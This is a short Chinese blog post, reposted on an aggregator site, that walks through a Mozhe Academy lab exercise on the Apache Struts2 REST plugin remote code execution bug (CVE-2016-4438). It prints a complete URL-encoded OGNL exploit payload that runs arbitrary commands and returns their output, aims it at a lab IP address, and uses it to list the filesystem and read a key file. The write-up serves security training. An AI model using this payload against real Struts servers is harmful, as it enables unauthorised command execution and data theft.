美文网首页
墨者学院-Apache Struts2远程代码执行漏洞(S2-0

墨者学院-Apache Struts2远程代码执行漏洞(S2-0

作者: nohands_noob | 来源:发表于2019-07-09 16:07 被阅读0次

漏洞编号：CVE-2016-4438
影响范围：Struts 2.3.20 - Struts Struts 2.3.28.1
漏洞概述：在使用REST插件时，可以传递可用于在服务器端执行任意代码的恶意表达式。

EXP:
%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23process%3d%40java.lang.Runtime%40getRuntime().exec(%23parameters.command%5b0%5d)%2c%23ros%3d(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())%2c%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2c%23ros)%2c%23ros.flush()%2c%23xx%3d123%2c%23xx.toString.json?command=[命令]

访问 http://219.153.49.228:41238/orders/3/[exp] 执行命令并回显

执行ls /命令


执行命令并回显

执行cat /key.txt命令


获得key

相关文章

网友评论

      本文标题：墨者学院-Apache Struts2远程代码执行漏洞(S2-0

      本文链接：https://www.haomeiwen.com/subject/amaxkctx.html

      延伸阅读

      深度阅读

      • 您也可以注册成为美文阅读网的作者，发表您的原创作品、分享您的心情！

      栏目导航

      热点阅读

      关于我们|服务条款|联系我们|墨者学院-Apache Struts2远程代码执行漏洞(S2-0|投稿指南|网站地图|RSS订阅|排版工具|手机版

      提供经典美文摘抄,优美散文欣赏,现代诗歌精选,短篇小说,心情随笔,表白情书范文,故事会在线阅读欣赏

      Copyright © 2014-2023 Haomeiwen.com All Rights Reserved. 好美文阅读网 版权所有

      备案信息：桂公网安备 45052102000051号 · 桂ICP备13007215号-3

      本站所收录作品、热点评论等信息部分来源互联网，目的只是为了系统归纳学习和传递资讯

      所有作品版权归原创作者所有，与本站立场无关，如不慎侵犯了你的权益，请联系我们告知，我们将做删除处理！